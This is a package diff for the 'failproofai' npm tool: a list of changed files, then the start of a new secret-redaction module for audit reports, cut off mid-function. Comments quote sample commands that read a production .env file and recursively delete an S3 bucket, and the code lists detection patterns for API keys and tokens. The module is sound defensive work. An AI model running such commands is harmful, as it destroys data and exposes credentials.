failproofai 1.0.0 → 1.0.1-beta.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (238) hide show
  1. package/.next/standalone/.next/BUILD_ID +1 -1
  2. package/.next/standalone/.next/app-path-routes-manifest.json +0 -1
  3. package/.next/standalone/.next/build-manifest.json +3 -3
  4. package/.next/standalone/.next/prerender-manifest.json +5 -5
  5. package/.next/standalone/.next/required-server-files.json +1 -1
  6. package/.next/standalone/.next/routes-manifest.json +0 -6
  7. package/.next/standalone/.next/server/app/_global-error/page/server-reference-manifest.json +1 -1
  8. package/.next/standalone/.next/server/app/_global-error/page.js +4 -3
  9. package/.next/standalone/.next/server/app/_global-error/page.js.nft.json +1 -1
  10. package/.next/standalone/.next/server/app/_global-error/page_client-reference-manifest.js +1 -1
  11. package/.next/standalone/.next/server/app/_global-error.html +1 -1
  12. package/.next/standalone/.next/server/app/_global-error.rsc +7 -7
  13. package/.next/standalone/.next/server/app/_global-error.segments/__PAGE__.segment.rsc +6 -6
  14. package/.next/standalone/.next/server/app/_global-error.segments/_full.segment.rsc +7 -7
  15. package/.next/standalone/.next/server/app/_global-error.segments/_tree.segment.rsc +1 -1
  16. package/.next/standalone/.next/server/app/_not-found/page/server-reference-manifest.json +1 -1
  17. package/.next/standalone/.next/server/app/_not-found/page.js +4 -3
  18. package/.next/standalone/.next/server/app/_not-found/page.js.nft.json +1 -1
  19. package/.next/standalone/.next/server/app/_not-found/page_client-reference-manifest.js +1 -1
  20. package/.next/standalone/.next/server/app/_not-found.html +1 -1
  21. package/.next/standalone/.next/server/app/_not-found.rsc +15 -15
  22. package/.next/standalone/.next/server/app/_not-found.segments/_full.segment.rsc +15 -15
  23. package/.next/standalone/.next/server/app/_not-found.segments/_not-found/__PAGE__.segment.rsc +14 -14
  24. package/.next/standalone/.next/server/app/_not-found.segments/_tree.segment.rsc +2 -2
  25. package/.next/standalone/.next/server/app/api/audit/invite/route.js +2 -2
  26. package/.next/standalone/.next/server/app/api/audit/invite/route.js.nft.json +1 -1
  27. package/.next/standalone/.next/server/app/api/audit/run/route.js +3 -3
  28. package/.next/standalone/.next/server/app/api/audit/run/route.js.nft.json +1 -1
  29. package/.next/standalone/.next/server/app/api/audit/status/route.js +2 -2
  30. package/.next/standalone/.next/server/app/api/audit/status/route.js.nft.json +1 -1
  31. package/.next/standalone/.next/server/app/api/auth/login-request/route.js +4 -3
  32. package/.next/standalone/.next/server/app/api/auth/login-request/route.js.nft.json +1 -1
  33. package/.next/standalone/.next/server/app/api/auth/login-verify/route.js +2 -2
  34. package/.next/standalone/.next/server/app/api/auth/login-verify/route.js.nft.json +1 -1
  35. package/.next/standalone/.next/server/app/api/auth/logout/route.js +3 -2
  36. package/.next/standalone/.next/server/app/api/auth/logout/route.js.nft.json +1 -1
  37. package/.next/standalone/.next/server/app/api/auth/status/route.js +4 -3
  38. package/.next/standalone/.next/server/app/api/auth/status/route.js.nft.json +1 -1
  39. package/.next/standalone/.next/server/app/api/download/[project]/[session]/route.js.nft.json +1 -1
  40. package/.next/standalone/.next/server/app/audit/page/server-reference-manifest.json +2 -2
  41. package/.next/standalone/.next/server/app/audit/page.js +5 -3
  42. package/.next/standalone/.next/server/app/audit/page.js.nft.json +1 -1
  43. package/.next/standalone/.next/server/app/audit/page_client-reference-manifest.js +1 -1
  44. package/.next/standalone/.next/server/app/index.html +1 -1
  45. package/.next/standalone/.next/server/app/index.rsc +15 -15
  46. package/.next/standalone/.next/server/app/index.segments/__PAGE__.segment.rsc +14 -14
  47. package/.next/standalone/.next/server/app/index.segments/_full.segment.rsc +15 -15
  48. package/.next/standalone/.next/server/app/index.segments/_tree.segment.rsc +2 -2
  49. package/.next/standalone/.next/server/app/page/server-reference-manifest.json +1 -1
  50. package/.next/standalone/.next/server/app/page.js +4 -3
  51. package/.next/standalone/.next/server/app/page.js.nft.json +1 -1
  52. package/.next/standalone/.next/server/app/page_client-reference-manifest.js +1 -1
  53. package/.next/standalone/.next/server/app/policies/page/server-reference-manifest.json +10 -10
  54. package/.next/standalone/.next/server/app/policies/page.js +6 -5
  55. package/.next/standalone/.next/server/app/policies/page.js.nft.json +1 -1
  56. package/.next/standalone/.next/server/app/policies/page_client-reference-manifest.js +1 -1
  57. package/.next/standalone/.next/server/app/project/[name]/page/server-reference-manifest.json +1 -1
  58. package/.next/standalone/.next/server/app/project/[name]/page.js +5 -4
  59. package/.next/standalone/.next/server/app/project/[name]/page.js.nft.json +1 -1
  60. package/.next/standalone/.next/server/app/project/[name]/page_client-reference-manifest.js +1 -1
  61. package/.next/standalone/.next/server/app/project/[name]/session/[sessionId]/page/react-loadable-manifest.json +2 -2
  62. package/.next/standalone/.next/server/app/project/[name]/session/[sessionId]/page/server-reference-manifest.json +2 -2
  63. package/.next/standalone/.next/server/app/project/[name]/session/[sessionId]/page.js +6 -4
  64. package/.next/standalone/.next/server/app/project/[name]/session/[sessionId]/page.js.nft.json +1 -1
  65. package/.next/standalone/.next/server/app/project/[name]/session/[sessionId]/page_client-reference-manifest.js +1 -1
  66. package/.next/standalone/.next/server/app/projects/page/server-reference-manifest.json +1 -1
  67. package/.next/standalone/.next/server/app/projects/page.js +5 -4
  68. package/.next/standalone/.next/server/app/projects/page.js.nft.json +1 -1
  69. package/.next/standalone/.next/server/app/projects/page_client-reference-manifest.js +1 -1
  70. package/.next/standalone/.next/server/app/settings/page/server-reference-manifest.json +4 -4
  71. package/.next/standalone/.next/server/app/settings/page.js +6 -4
  72. package/.next/standalone/.next/server/app/settings/page.js.nft.json +1 -1
  73. package/.next/standalone/.next/server/app/settings/page_client-reference-manifest.js +1 -1
  74. package/.next/standalone/.next/server/app-paths-manifest.json +0 -1
  75. package/.next/standalone/.next/server/chunks/[root-of-the-server]__05ja_05._.js +3 -0
  76. package/.next/standalone/.next/server/chunks/[root-of-the-server]__0agdw2a._.js +3 -0
  77. package/.next/standalone/.next/server/chunks/[root-of-the-server]__0d1u_na._.js +1 -1
  78. package/.next/standalone/.next/server/chunks/[root-of-the-server]__0nne229._.js +3 -0
  79. package/.next/standalone/.next/server/chunks/[root-of-the-server]__0ny9q5d._.js +1 -1
  80. package/.next/standalone/.next/server/chunks/[root-of-the-server]__0oy4kxb._.js +3 -0
  81. package/.next/standalone/.next/server/chunks/[root-of-the-server]__0zf034w._.js +3 -0
  82. package/.next/standalone/.next/server/chunks/[root-of-the-server]__17g9wh7._.js +3 -0
  83. package/.next/standalone/.next/server/chunks/[root-of-the-server]__1hstmft._.js +3 -0
  84. package/.next/standalone/.next/server/chunks/[root-of-the-server]__1p8poxd._.js +3 -0
  85. package/.next/standalone/.next/server/chunks/_0lxbzdq._.js +1 -1
  86. package/.next/standalone/.next/server/chunks/_1ek68ln._.js +1 -1
  87. package/.next/standalone/.next/server/chunks/_1zuiiy3._.js +1 -1
  88. package/.next/standalone/.next/server/chunks/lib_telemetry_ts_0dctyyw._.js +1 -1
  89. package/.next/standalone/.next/server/chunks/{node_modules_posthog-node_dist_entrypoints_index_node_mjs_0jx6cp6._.js → node_modules_posthog-node_dist_entrypoints_index_node_mjs_0f-x2b0._.js} +1 -1
  90. package/.next/standalone/.next/server/chunks/{node_modules_posthog-node_dist_entrypoints_index_node_mjs_1f290jp._.js → node_modules_posthog-node_dist_entrypoints_index_node_mjs_0hwvl7e._.js} +1 -1
  91. package/.next/standalone/.next/server/chunks/{node_modules_posthog-node_dist_entrypoints_index_node_mjs_1g2ji1t._.js → node_modules_posthog-node_dist_entrypoints_index_node_mjs_1ctjdzl._.js} +1 -1
  92. package/.next/standalone/.next/server/chunks/package_json_[json]_cjs_1nxcc4v._.js +1 -1
  93. package/.next/standalone/.next/server/chunks/src_hooks_fp-home_ts_09kv0bn._.js +3 -0
  94. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__03eykvd._.js +5 -0
  95. package/.next/standalone/.next/server/chunks/ssr/{[root-of-the-server]__07175vb._.js → [root-of-the-server]__07oh8b5._.js} +1 -1
  96. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0cxe_2_._.js +1 -1
  97. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0g2rg69._.js +3 -0
  98. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0kgy9da._.js +4 -0
  99. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0m98kzy._.js +4 -0
  100. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0oa1lav._.js +3 -0
  101. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0sjzdjg._.js +3 -0
  102. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0spkm68._.js +2 -2
  103. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0v5_91z._.js +4 -0
  104. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1-a3135._.js +4 -0
  105. package/.next/standalone/.next/server/chunks/ssr/{[root-of-the-server]__1hvwiw8._.js → [root-of-the-server]__11z_299._.js} +1 -1
  106. package/.next/standalone/.next/server/chunks/ssr/{[root-of-the-server]__1apc90t._.js → [root-of-the-server]__15c_z97._.js} +1 -1
  107. package/.next/standalone/.next/server/chunks/ssr/{[root-of-the-server]__1wmno1q._.js → [root-of-the-server]__17d_ffl._.js} +1 -1
  108. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1_dfocn._.js +4 -0
  109. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1e5g_ur._.js +4 -0
  110. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1hmqefd._.js +4 -0
  111. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1jiwfsj._.js +1 -1
  112. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1kzapg5._.js +6 -0
  113. package/.next/standalone/.next/server/chunks/ssr/_04j57fb._.js +3 -0
  114. package/.next/standalone/.next/server/chunks/ssr/_05enntk._.js +3 -0
  115. package/.next/standalone/.next/server/chunks/ssr/_08x1r5t._.js +3 -0
  116. package/.next/standalone/.next/server/chunks/ssr/_0hom1s1._.js +3 -0
  117. package/.next/standalone/.next/server/chunks/ssr/_1nq-35m._.js +23 -0
  118. package/.next/standalone/.next/server/chunks/ssr/_1q7j05x._.js +3 -0
  119. package/.next/standalone/.next/server/chunks/ssr/_1ylae7o._.js +3 -0
  120. package/.next/standalone/.next/server/chunks/ssr/app_audit__components_audit-dashboard_tsx_0p9ud47._.js +2 -2
  121. package/.next/standalone/.next/server/chunks/ssr/app_global-error_tsx_1kp6l3x._.js +1 -1
  122. package/.next/standalone/.next/server/chunks/ssr/app_policies_hooks-client_tsx_19dqvpc._.js +2 -2
  123. package/.next/standalone/.next/server/chunks/ssr/app_settings_settings-client_tsx_20lq-mq._.js +3 -0
  124. package/.next/standalone/.next/server/chunks/ssr/node_modules_next_dist_1n3w9lb._.js +1 -1
  125. package/.next/standalone/.next/server/chunks/ssr/src_hooks_builtin-policies_ts_09j2ndl._.js +1 -1
  126. package/.next/standalone/.next/server/chunks/ssr/src_hooks_fp-config_ts_04t589g._.js +4 -0
  127. package/.next/standalone/.next/server/chunks/ssr/src_hooks_fp-home_ts_0je3xkv._.js +3 -0
  128. package/.next/standalone/.next/server/middleware-build-manifest.js +3 -3
  129. package/.next/standalone/.next/server/pages/404.html +1 -1
  130. package/.next/standalone/.next/server/pages/500.html +1 -1
  131. package/.next/standalone/.next/server/server-reference-manifest.js +1 -1
  132. package/.next/standalone/.next/server/server-reference-manifest.json +15 -15
  133. package/.next/standalone/.next/static/chunks/00q6cfzuzpc85.js +1 -0
  134. package/.next/standalone/.next/static/chunks/{0zm3_8jpqitxy.js → 054eg7y_cjyf9.js} +22 -22
  135. package/.next/standalone/.next/static/chunks/{2ouq44jv_0x04.js → 0mjufa_0xxz75.js} +1 -1
  136. package/.next/standalone/.next/static/chunks/0u64yey446k4f.css +1 -0
  137. package/.next/standalone/.next/static/chunks/{0zi8zjav5a4rq.js → 1-oz4co31nvc5.js} +1 -1
  138. package/.next/standalone/.next/static/chunks/13--2yvqek_s1.js +1 -0
  139. package/.next/standalone/.next/static/chunks/136ldjmzxhush.js +1 -0
  140. package/.next/standalone/.next/static/chunks/18fqy3doo2ial.js +6 -0
  141. package/.next/standalone/.next/static/chunks/1eyl7fzkmnkf_.js +1 -0
  142. package/.next/standalone/.next/static/chunks/{31k3yxpy57_fy.js → 1o5sxp_mdaoci.js} +1 -1
  143. package/.next/standalone/.next/static/chunks/29-iqnp9v_axt.css +1 -0
  144. package/.next/standalone/.next/static/chunks/{2676v-lyzgo91.js → 2es4z1ei90vsv.js} +1 -1
  145. package/.next/standalone/.next/static/chunks/2k9f4tyv04809.css +1 -0
  146. package/.next/standalone/.next/static/chunks/3peix2vxzj7eh.js +1 -0
  147. package/.next/standalone/.next/static/chunks/3qfoeqhy5l10x.js +1 -0
  148. package/.next/standalone/.next/static/chunks/{0km-jn9o5xyqs.css → 3wq9x0c-7ld5d.css} +1 -1
  149. package/.next/standalone/app/actions/get-scheduled-audit.ts +65 -6
  150. package/.next/standalone/app/actions/update-scheduled-audit.ts +90 -17
  151. package/.next/standalone/app/api/auth/status/route.ts +7 -17
  152. package/.next/standalone/app/audit/_components/audit-dashboard.tsx +2 -6
  153. package/.next/standalone/app/audit/_components/come-back-better-section.tsx +101 -281
  154. package/.next/standalone/app/audit/_components/empty-state.tsx +2 -2
  155. package/.next/standalone/app/audit/_components/run-progress.tsx +1 -1
  156. package/.next/standalone/app/audit/audit-styles.css +150 -26
  157. package/.next/standalone/app/globals.css +39 -1
  158. package/.next/standalone/app/settings/page.tsx +38 -21
  159. package/.next/standalone/app/settings/settings-client.tsx +583 -392
  160. package/.next/standalone/app/settings/settings.css +354 -0
  161. package/.next/standalone/components/navbar.tsx +33 -4
  162. package/.next/standalone/lib/auth/api-server-client.ts +51 -29
  163. package/.next/standalone/lib/auth/auth-store.ts +44 -59
  164. package/.next/standalone/package.json +12 -10
  165. package/.next/standalone/server.js +1 -1
  166. package/bin/failproofai.mjs +6 -0
  167. package/bin/failproofaid-shim.mjs +0 -0
  168. package/dist/cli.mjs +1889 -426
  169. package/dist/worker.mjs +27 -5
  170. package/lib/auth/api-server-client.ts +51 -29
  171. package/lib/auth/auth-store.ts +44 -59
  172. package/package.json +12 -10
  173. package/scripts/docs-audit.ts +493 -0
  174. package/scripts/translate-docs/cli.ts +16 -2
  175. package/scripts/translate-docs/mdx-translator.ts +6 -1
  176. package/scripts/translate-docs/readme-translator.ts +4 -2
  177. package/src/audit/cli-login.ts +330 -0
  178. package/src/audit/cli.ts +124 -6
  179. package/src/audit/dashboard-cache.ts +44 -8
  180. package/src/audit/harm-report.ts +260 -0
  181. package/src/audit/machine-store.ts +120 -0
  182. package/src/audit/redact-example.ts +312 -0
  183. package/src/audit/report-harm.ts +167 -0
  184. package/src/audit/schedule-cli.ts +352 -0
  185. package/src/hooks/builtin-policies.ts +26 -0
  186. package/src/hooks/daemon-service.ts +76 -0
  187. package/src/hooks/fp-config.ts +96 -5
  188. package/src/hooks/fp-home.ts +118 -8
  189. package/src/hooks/fp-reset.ts +79 -9
  190. package/src/hooks/migrations.ts +241 -4
  191. package/src/hooks/tui.ts +61 -3
  192. package/.next/standalone/.next/server/app/api/auth/reminder/route/app-paths-manifest.json +0 -3
  193. package/.next/standalone/.next/server/app/api/auth/reminder/route/build-manifest.json +0 -12
  194. package/.next/standalone/.next/server/app/api/auth/reminder/route/server-reference-manifest.json +0 -4
  195. package/.next/standalone/.next/server/app/api/auth/reminder/route.js +0 -9
  196. package/.next/standalone/.next/server/app/api/auth/reminder/route.js.map +0 -5
  197. package/.next/standalone/.next/server/app/api/auth/reminder/route.js.nft.json +0 -1
  198. package/.next/standalone/.next/server/app/api/auth/reminder/route_client-reference-manifest.js +0 -3
  199. package/.next/standalone/.next/server/chunks/[root-of-the-server]__0-xggru._.js +0 -3
  200. package/.next/standalone/.next/server/chunks/[root-of-the-server]__00ds05_._.js +0 -3
  201. package/.next/standalone/.next/server/chunks/[root-of-the-server]__094p1f1._.js +0 -3
  202. package/.next/standalone/.next/server/chunks/[root-of-the-server]__1dxagv_._.js +0 -3
  203. package/.next/standalone/.next/server/chunks/[root-of-the-server]__1fgqj1_._.js +0 -3
  204. package/.next/standalone/.next/server/chunks/_084toou._.js +0 -3
  205. package/.next/standalone/.next/server/chunks/_0g4t8c9._.js +0 -3
  206. package/.next/standalone/.next/server/chunks/_0km521a._.js +0 -3
  207. package/.next/standalone/.next/server/chunks/_0t8kefc._.js +0 -3
  208. package/.next/standalone/.next/server/chunks/_16dwkfn._.js +0 -3
  209. package/.next/standalone/.next/server/chunks/_1phm9ui._.js +0 -3
  210. package/.next/standalone/.next/server/chunks/_next-internal_server_app_api_auth_reminder_route_actions_1kjgxf8.js +0 -3
  211. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0dk8r_l._.js +0 -3
  212. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0kviq2m._.js +0 -3
  213. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0ogyhu0._.js +0 -3
  214. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1-rfu32._.js +0 -5
  215. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1mmefsr._.js +0 -5
  216. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1t62w37._.js +0 -3
  217. package/.next/standalone/.next/server/chunks/ssr/_032wo7w._.js +0 -3
  218. package/.next/standalone/.next/server/chunks/ssr/_08840em._.js +0 -3
  219. package/.next/standalone/.next/server/chunks/ssr/_0gl2ujp._.js +0 -3
  220. package/.next/standalone/.next/server/chunks/ssr/_0j0ggkc._.js +0 -3
  221. package/.next/standalone/.next/server/chunks/ssr/_0kbv5-q._.js +0 -3
  222. package/.next/standalone/.next/server/chunks/ssr/_0r1jgvp._.js +0 -3
  223. package/.next/standalone/.next/server/chunks/ssr/_0t5xq1b._.js +0 -3
  224. package/.next/standalone/.next/server/chunks/ssr/_0w_be0g._.js +0 -3
  225. package/.next/standalone/.next/server/chunks/ssr/_15gba46._.js +0 -5
  226. package/.next/standalone/.next/server/chunks/ssr/_1qyhb9r._.js +0 -23
  227. package/.next/standalone/.next/server/chunks/ssr/_1vel2ey._.js +0 -3
  228. package/.next/standalone/.next/static/chunks/0wd503tv801gy.js +0 -1
  229. package/.next/standalone/.next/static/chunks/1hfocb0sdl85c.js +0 -1
  230. package/.next/standalone/.next/static/chunks/1v1gqvpjk62jm.js +0 -1
  231. package/.next/standalone/.next/static/chunks/2kopjq_or743g.js +0 -6
  232. package/.next/standalone/.next/static/chunks/2uvhw57mf9lg_.css +0 -2
  233. package/.next/standalone/.next/static/chunks/2ynl0-6aqng_b.js +0 -1
  234. package/.next/standalone/.next/static/chunks/3xvtgz6arztp_.js +0 -1
  235. package/.next/standalone/app/api/auth/reminder/route.ts +0 -213
  236. /package/.next/standalone/.next/static/{Aulh3DRWwRfwh2POCvZR_ → jSKB7CQQSNTX-uSbY2bUs}/_buildManifest.js +0 -0
  237. /package/.next/standalone/.next/static/{Aulh3DRWwRfwh2POCvZR_ → jSKB7CQQSNTX-uSbY2bUs}/_clientMiddlewareManifest.js +0 -0
  238. /package/.next/standalone/.next/static/{Aulh3DRWwRfwh2POCvZR_ → jSKB7CQQSNTX-uSbY2bUs}/_ssgManifest.js +0 -0
@@ -0,0 +1,312 @@
1
+ /**
2
+ * What an audit example looks like by the time it is allowed to leave the box.
3
+ *
4
+ * The audit keeps up to three 80-character examples per policy, and they are
5
+ * slices of REAL commands and paths — `cat /home/sidd/work/acme/.env.production`,
6
+ * `aws s3 rm s3://prod-bucket --recursive`. Naming what happened is the whole
7
+ * value of the digest, and those strings are also the only thing in the report
8
+ * that could carry something a person would mind sending.
9
+ *
10
+ * Three transforms, in this order, and the order matters:
11
+ *
12
+ * 1. **Secrets are masked**, against `SECRET_PATTERNS` — the same list the
13
+ * `sanitize-*` policies block on. One definition of "secret", used for both
14
+ * blocking and redacting, rather than a second pattern list beside it that
15
+ * eventually disagrees. A second pass then catches a secret that arrived
16
+ * ALREADY CUT: the audit truncates examples to 80 characters at capture
17
+ * time, so a command ending in a credential reaches this module with the
18
+ * credential's tail missing and the full pattern no longer matching. See
19
+ * `maskTruncatedSecret`.
20
+ * 2. **Assigned secrets are masked** — `DATABASE_PASSWORD=hunter2`,
21
+ * `https://user:pass@host`, `curl -u user:pass`. These are shapes the
22
+ * BLOCKING patterns deliberately do not carry, because a name-based rule
23
+ * that denies a tool call would misfire on ordinary work. Redaction only
24
+ * removes characters, so it can afford the wider net. See
25
+ * `maskAssignedSecrets`.
26
+ * 3. **Home paths are shortened**, so `/home/sidd/work/acme/src/db.ts` becomes
27
+ * `~/…/db.ts`. The basename is what makes a finding recognisable; the
28
+ * directory chain is a map of someone's disk and their employer's project
29
+ * names.
30
+ *
31
+ * Masking runs FIRST because shortening can cut a path mid-token, and a secret
32
+ * embedded in a path (`.../ghp_xxxxx/...`) sliced in half stops matching its own
33
+ * pattern and ships as a fragment.
34
+ *
35
+ * ## What this is not
36
+ *
37
+ * It is not a guarantee. Pattern-based redaction misses formats it has never
38
+ * seen, and the honest framing is that this reduces exposure rather than
39
+ * eliminating it — which is exactly why the digest carries counts and titles as
40
+ * its substance and treats examples as colour. If the tradeoff ever stops being
41
+ * worth it, `redactExample` is the one place to change.
42
+ */
43
+ import { homedir } from "node:os";
44
+
45
+ import { SECRET_PATTERNS } from "../hooks/builtin-policies";
46
+
47
+ /** Longest example we let through, after redaction. */
48
+ export const REDACTED_EXAMPLE_MAX_CHARS = 160;
49
+
50
+ /**
51
+ * Path segments kept before the basename when shortening.
52
+ *
53
+ * Zero. `~/…/db.ts` says "somewhere under home" and names the file, which is
54
+ * what makes a finding recognisable to the person who caused it. One segment
55
+ * would routinely be the project — usually a client or employer name, and the
56
+ * single most identifying token on the line.
57
+ */
58
+ const KEPT_PARENT_SEGMENTS = 0;
59
+
60
+ /** Matches an absolute POSIX-ish path with at least two segments. */
61
+ const ABSOLUTE_PATH_RE = /(?:\/[\w.\-@+]+){2,}\/?/g;
62
+
63
+ /**
64
+ * Roots whose paths are left intact.
65
+ *
66
+ * These are kernel and device paths — the same on every machine, identifying
67
+ * nobody, and shortening them actively costs readability: a real digest came
68
+ * back with `2>/…/null`, which reads as though something was hidden when
69
+ * nothing was. Everything else is shortened, including paths outside home,
70
+ * because "not under home" is not the same as "safe to send".
71
+ */
72
+ const PUBLIC_PATH_ROOTS = ["/dev/", "/proc/", "/sys/"];
73
+
74
+ /**
75
+ * Prefixes that BEGIN a secret, for catching one that arrives already cut.
76
+ *
77
+ * The audit truncates every example to 80 characters at capture time, long
78
+ * before this module sees it — so a command ending in a credential arrives with
79
+ * the credential's tail already gone, and the full patterns in
80
+ * `SECRET_PATTERNS` no longer match it. A real digest came back containing
81
+ * `authorization: Bearer s`, which is the first character of a live token.
82
+ *
83
+ * One character is not a usable secret. The point is that the number is set by
84
+ * where the truncation happened to land rather than by anything here, and the
85
+ * same shape with a longer prefix ships more. So a known prefix sitting at the
86
+ * END of the string — with nothing after it, or too little to have matched — is
87
+ * masked on the assumption it was cut, which costs a few characters of context
88
+ * in the rare case it was not.
89
+ *
90
+ * Each prefix is guarded by `(?<!\w)` so it only fires at a token boundary.
91
+ * Without it `sk-` matched INSIDE ordinary words — `kubectl get pods -n
92
+ * risk-scoring` redacted to `… -n ri[REDACTED: OpenAI API key]`, which both
93
+ * invents a credential the digest then reports and destroys the one token that
94
+ * said which command ran. `task-`, `disk-` and `desk-` did the same.
95
+ */
96
+ const SECRET_PREFIXES: ReadonlyArray<readonly [RegExp, string]> = [
97
+ [/(?<!\w)(?:Authorization:\s*)?Bearer\s+\S*$/i, "bearer token"],
98
+ [/(?<!\w)sk-ant-\S*$/, "Anthropic API key"],
99
+ [/(?<!\w)sk-proj-\S*$/, "OpenAI project API key"],
100
+ [/(?<!\w)sk-\S*$/, "OpenAI API key"],
101
+ [/(?<!\w)ghp_\S*$/, "GitHub personal access token"],
102
+ [/(?<!\w)github_pat_\S*$/, "GitHub fine-grained token"],
103
+ [/(?<!\w)AKIA\S*$/, "AWS access key ID"],
104
+ [/(?<!\w)sk_live_\S*$/, "Stripe live secret key"],
105
+ [/(?<!\w)sk_test_\S*$/, "Stripe test secret key"],
106
+ [/(?<!\w)AIza\S*$/, "Google API key"],
107
+ [/-----BEGIN\s[A-Z ]*$/, "private key"],
108
+ ];
109
+
110
+ /**
111
+ * Mask a secret that was cut short before it reached us.
112
+ *
113
+ * Runs AFTER `maskSecrets`, so a complete secret is already gone and this only
114
+ * ever sees a genuine fragment. Anchored to the end of the string, because a
115
+ * prefix in the MIDDLE with text after it was not truncated — it either matched
116
+ * a full pattern already or was never a secret.
117
+ */
118
+ export function maskTruncatedSecret(input: string): string {
119
+ for (const [pattern, label] of SECRET_PREFIXES) {
120
+ if (pattern.test(input)) {
121
+ return input.replace(pattern, `[REDACTED: ${label}]`);
122
+ }
123
+ }
124
+ return input;
125
+ }
126
+
127
+ /**
128
+ * Identifier fragments that make an assignment's VALUE a secret.
129
+ *
130
+ * Two lists, because the words differ in how much they mean on their own.
131
+ * `TOKEN`, `SECRET` and `PASSWORD` name a credential wherever they appear in an
132
+ * identifier, including the camelCase `_authToken` that `npm config set`
133
+ * writes. `KEY`, `PASS`, `AUTH`, `PAT` and `SIG` are also fragments of ordinary
134
+ * words — `MONKEY_COUNT`, `PASSENGERS`, `AUTHOR`, `PATH`, `SIGNAL` — so they
135
+ * only count as a whole `_`-delimited component.
136
+ */
137
+ const SECRET_NAME_SUBSTRINGS = [
138
+ "TOKEN",
139
+ "SECRET",
140
+ "PASSWORD",
141
+ "PASSWD",
142
+ "CREDENTIAL",
143
+ "APIKEY",
144
+ "PRIVATEKEY",
145
+ ];
146
+ const SECRET_NAME_COMPONENTS = ["KEY", "PASS", "AUTH", "PAT", "SIG", "SIGNATURE", "SESSION", "COOKIE"];
147
+
148
+ /**
149
+ * `NAME=value`, with the value quoted or running to the next shell separator.
150
+ *
151
+ * The unquoted alternative excludes quotes as well as separators: a value that
152
+ * runs to end-of-token inside an already-quoted string (`"…?sig=deadbeef"`)
153
+ * would otherwise swallow the closing quote and leave the line unbalanced.
154
+ */
155
+ const ASSIGNMENT_RE = /\b([A-Za-z_][A-Za-z0-9_]*)=("[^"]*"|'[^']*'|[^\s;|&"']+)/g;
156
+
157
+ /** Credentials inline in a URL, on ANY scheme — `https://user:pass@host`. */
158
+ const URL_CREDENTIALS_RE = /([a-z][a-z0-9+.\-]*:\/\/)[^\s/:@]+:[^\s/@]+@/gi;
159
+
160
+ /** `curl -u user:pass`, in both spellings and both separators. */
161
+ const BASIC_AUTH_FLAG_RE = /((?:^|\s)(?:-u|--user)[\s=])\S+:\S+/g;
162
+
163
+ /** True when an identifier's name says its value is a credential. */
164
+ export function isSecretName(name: string): boolean {
165
+ const upper = name.toUpperCase();
166
+ if (SECRET_NAME_SUBSTRINGS.some((word) => upper.includes(word))) return true;
167
+ return upper.split("_").some((part) => SECRET_NAME_COMPONENTS.includes(part));
168
+ }
169
+
170
+ /**
171
+ * Mask secrets whose shape is an ASSIGNMENT rather than a known vendor prefix.
172
+ *
173
+ * This is the one class the blocking patterns deliberately do not cover, and
174
+ * the gap mattered because `protect-env-vars` is in the digest's harmful set
175
+ * (`harm-report.ts`) and its dominant trigger is `export VAR=…` — so the
176
+ * example is the whole command, value included. `SECRET_PATTERNS` matches nine
177
+ * vendor-prefixed key formats, a JWT, a literal `Authorization: Bearer` and a
178
+ * fixed non-HTTP scheme list; none of them matches
179
+ * `export DATABASE_PASSWORD=hunter2-prod-acme`, and `export` is ubiquitous in
180
+ * agent sessions. Every one of those shipped verbatim.
181
+ *
182
+ * These patterns live HERE rather than in `SECRET_PATTERNS` on purpose, and it
183
+ * is not the "second list that eventually disagrees" this module warns about.
184
+ * The two jobs have opposite error costs: the `sanitize-*` policies BLOCK a
185
+ * tool call, so a false positive there is a denial of work the user wanted, and
186
+ * a name-based rule would deny `export EDITOR=vim` on a machine with
187
+ * `PASSTHROUGH` in the environment. Redaction only removes characters from a
188
+ * digest, so it can afford to be generous, and being generous is the point. The
189
+ * shared list stays the floor; this is the redactor spending its extra margin.
190
+ *
191
+ * The NAME is kept and only the value is masked — `DATABASE_PASSWORD=[REDACTED:
192
+ * assigned secret]` still tells the reader which credential was exposed, which
193
+ * is the actionable half of the finding.
194
+ */
195
+ export function maskAssignedSecrets(input: string): string {
196
+ let out = input.replace(ASSIGNMENT_RE, (match, name: string, value: string) => {
197
+ if (!isSecretName(name)) return match;
198
+ // An earlier pass already named this one, and it named it better.
199
+ // `export ANTHROPIC_API_KEY=sk-ant-…` is masked by the vendor pattern as
200
+ // "Anthropic API key"; re-masking it here would downgrade that to the
201
+ // generic label and strip the marker's own tail as it went.
202
+ if (value.startsWith("[REDACTED")) return match;
203
+ return `${name}=[REDACTED: assigned secret]`;
204
+ });
205
+ out = out.replace(URL_CREDENTIALS_RE, "$1[REDACTED: URL credentials]@");
206
+ out = out.replace(BASIC_AUTH_FLAG_RE, "$1[REDACTED: basic auth]");
207
+ return out;
208
+ }
209
+
210
+ /**
211
+ * Mask anything matching a known secret shape.
212
+ *
213
+ * A fresh `RegExp` is built per pattern per call rather than reusing the shared
214
+ * literal with the `g` flag added: a global regex carries `lastIndex` across
215
+ * calls, so a shared instance would skip matches in the next string depending on
216
+ * where it stopped in the previous one — a bug that only appears once there is
217
+ * more than one example, and looks like flakiness rather than logic.
218
+ */
219
+ export function maskSecrets(input: string): string {
220
